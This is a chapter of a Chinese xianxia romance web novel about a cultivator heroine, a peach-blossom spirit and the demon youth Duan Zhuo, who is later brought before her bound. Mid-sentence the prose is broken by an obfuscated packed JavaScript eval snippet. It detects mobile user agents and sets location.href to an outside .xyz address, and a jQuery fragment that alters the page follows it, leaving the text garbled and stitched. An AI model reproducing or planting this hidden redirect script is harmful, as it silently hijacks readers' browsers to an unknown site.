说来我若是不收徒,又怎会有我与段灼这些破事儿?
我踩过屋外的落花,又想起今晨起来得到的结果,思来想去我决定日后要多避免与段灼进行肢体接触。
我终是要杀段灼的,就不应该与他有这么多联系,就算是在梦中也不行。
不多时,守门弟子便与我说,今晨负责采买的弟子们已经下山。
虽是负责一月,实则七日到十日才会下山一次,采买也多数是买食材尔尔。
修行于凡人而言本就是一条难路,碧水瑶台中并无厨子,我也早已辟谷,这些进山的弟子最初还吃些糟糠,后来负责做吃食的弟子越做越好吃,这才叫他们吃上了些好的。
再晚些,天色见黑,守门的弟子又与我说,他们回来了。
我道了声“知道了”,便凝眸看着院外的落花。
段灼被我骂走了,庭院的地面无人打扫,也没人将桃花扫做团子。
我一边想着,一边用脚尖胡乱将桃花赶做一团。
桃花精见我如此,不解道:“女仙这是在做什么呀?”
她化形不久,如天真孩童,对万事万物都充满了好奇。
我随口道:“扫落花。”
桃花精在我身边绕了绕,叽叽喳喳比划着:“可我见旁人扫落花却也并非如此,他们通常是拿了个不知什么的东西,将花抚作一团,再用另一个东西装起来。”
我停下了动作,嗤笑道:“旁人是何人?”
桃花精一怔,小脸惨白,不愿与我多说:“女仙……女仙莫要问我了!”
我笑眯眯威胁道:“我与你也相伴百年了,当年还是我爹娘亲手栽下这桃花树的,若是叫我心中不快,青霜不小心三两剑下去,你这百年来的修行可都白费了。”
桃花精小脸苦兮兮道:“别别别女仙,我都说!”
我大概知道她说的“旁人”究竟是谁。
桃花精道:“就是一个时常出现在女仙殿中的妖族少年,从前他时常会来扫落花,如今却不见来了。”
我心中想,不见来了其实是我一巴掌将他赶走了。
“他从前曾……曾威胁我,若是敢说出去就……”
桃花精又悄咪咪看了我一眼道:“说要将我砍了烧柴!”
我竟不知段灼曾扬言说要将我庭院中的这棵陪伴了我近百年的桃花树砍了。
我嗤笑:“好歹也是百年桃花树化形的精怪,他不过是个小妖,你为何会这般怕他?”
桃花精双眸大睁,嘟囔道:“我可不会如他这般喊打喊杀的!我与女仙一般温柔!”
我笑,我竟不知我在她心中尚且还有个“温柔”的形象在。
似乎是想到了段灼的模样,桃花精浑身颤了颤,又道:“他浑身上下缭绕着魔气,虽不浓烈,但于我这般才化成精怪的来说却已经足够骇人了!但……但他似乎对我并无恶意,只在意这落了一地的桃花!”
“好奇怪的一个妖族少年呀……”
其实我并不知晓段灼此举的意义究竟是什么。
不过他偷偷扫过后,我的庭院确实干净了不少,但这只是于我而言的好处,而非于他而言的好处,为何他宁愿冒着被我发现的风险,也要将我这庭院扫得干干净净?
不过我又想,世间的所有事都要有意义才行吗?喜欢或是爱一个人于我而言,便是无意义的事。
而如今我亦知晓,他此番行径的原因最可能的便是喜欢我。
我问:“你可知他一般都是何时来?怎么来?”
“约莫是神女不在时来,怎么来的……大概是翻墙?”
“他时常会看着殿内的场景出神,起初我还以为他要偷东西,谁知他却也并不进去,只是看着。”
他如此行径,当真放肆。
像是将我的寝殿当成了自己家似的,想来就来,想走就走。
段灼浑身萦绕的魔气单薄,我能感受到我在他身上加的封印,却感受不到他身上的魔气,那魔气跟一缕烟似的,风一吹就消散了。
桃花精又说:“我瞧他对女仙,对我也并无恶意,女仙可不要伤了他!”
我道:“你倒是为他求情,他当初可威胁过你,若说出去就要将你砍了。”
桃花精道:“可他也并未真的将我砍了呀……”
我嗤笑:“所以要真的将你砍了才算是砍了?”
“你可知那时桃花树枯萎,全是因为他的魔气?”
桃花精惊讶又道:“啊!原来是他吗?也许……也许他并非故意的?我看他不像是坏人呀,毕竟这么多次也并未偷拿女仙的东西,也并未伤害我。”
段灼身上似乎还藏着许多我不知道的事,不过也是我不够警惕,就连他偷偷进我的寝殿,我都不曾知晓。
桃花精又道:“我还给过他一些桃花泪。”
桃花泪并非桃花的眼泪,是有百年以上的桃花树会结出的晶体,这样的晶体有益于修为,更能在凡间卖个好价格。
我笑道:“桃花泪是你自己的东西,赠予谁都在你。”
桃花泪给段灼其实并无用,最多能够换点钱,毕竟他无法修行,更无精进修为一说。
桃花泪我也并不需要,毕竟我这样的修为,此物于我而言,算不得什么。
我道:“你年岁还小,我可要告诫你,若以后得了造化,化为人形,遇到魔还是跑远些。”
桃花精却不懂:“为何?”
我道:“你这样食仙界灵气而生的小仙花,最是经受不住魔气侵蚀。”
桃花精似懂非懂道:“原是如此,多谢女仙提点!”
不过万事万物,各有各的命,若是他人有心,如何提点都无济于事。
*
无事可做之时,我喜好打坐,云恒常说我这日子过得无趣,不是修行打坐,就是睡觉,为何不寻一些别的乐子?
我指着我的弟子们道:“这不收了些徒弟为我找乐子吗?”
云恒又道:“你收了他们,却也只是为你自己徒增烦心事。”
在理啊,毕竟这些年我早就想罢工不干了,就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413293|184470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差个契机罢了。
打坐也好,睡觉也罢,这些都是我消磨时间的方式。
打坐修行,能将脑中的杂念赶出去,感受不到万事万物,亦感受不到时间的流逝。
不知过去了多久,我睁开眼,碧水瑶台中漆黑一片,桃花枝头栖息着鸟雀,远山在黑暗中只留下个微弱的轮廓。
天黑了。
我站起来,看着漆黑夜空中挂着的那轮清冷圆月。
“……”
我睁开眼却并非打坐结束了,而是我耳边出现了嘈杂的人声,今夜弟子居似乎乱做一团了。
不过却未见有人来与我报些什么,想来是发生了不需要我出面便能够解决的事。
碧水瑶台中的一切都逃不过我的五感,弟子们说些什么,做些什么,虽然不能字字句句都听得清楚明了,但却能有个大致的感应,不过我一般懒得去感受,人无非是贪嗔痴慢疑,这些杂念听多了,反倒会干扰我的想法。
我感觉到他们将段灼围在中间,似乎正在指责他,段灼始终低着头。
而后又是几个弟子进他的屋子里,在翻找着些什么。
既然并未影响到我,我亦不会闻声而去,且若是无人寻我,便当做没发生过。
我将五感屏蔽在外,睡了个好觉。
*
晨间,碧水瑶台的天还未亮,一帮弟子押着段灼到我寝殿中来了。
我看着台下这一帮吵吵嚷嚷的人,我觉得我还尚未从睡梦中醒来,眼前的人和物都看得还不太清楚。
仙没睡醒之时,就算是我,脾气也不会太好,不过我并未发作。
我坐于殿上,凝眸看着被五花大绑的段灼,他苍白的脸颊上有不少伤痕,看来昨夜是吃了不少苦头。
如今他正正低垂着眼眸,谁也不看,这副模样倒是可怜。
我记得昨日段灼与他们一同去采买,很晚才回来。
怎么今日一大早就将他绑来?
段灼又缓缓抬头看向我,那双眼眸亦如往日漆黑,我分辨不出其中的情绪,只觉得他眼中少了些光亮。
他跪着,我坐着,我看他就像在看这殿中的任何一个弟子。
除了将段灼捆来,他们还搬进来了一个硕大的箱子。
我觉得这个箱子有些眼熟,像是在哪里看见过。
他们将东西带齐了,人也带齐了,朝我行礼道:“师尊安好。”
我扫过他们每一个人,他们神态各异,有的是厌恶,有的是幸灾乐祸,我不动声色道:“起来。”
“有何事?”
为首的弟子跪地,他是昨日来寻我的掌事弟子:“启禀师尊,是下山采买出了些事,只是昨日太晚,便不好打扰师尊,只得晨间来。”
我点了点头,示意他继续说。
我又看向那箱子,脑中有一个画面一闪而过,我骤然明白了究竟在哪里见过这箱子。
前几日的春-梦,梦中段灼将我带到了他的住处,我感叹房中干净之时,曾看到过这只躺在在角落里的箱子。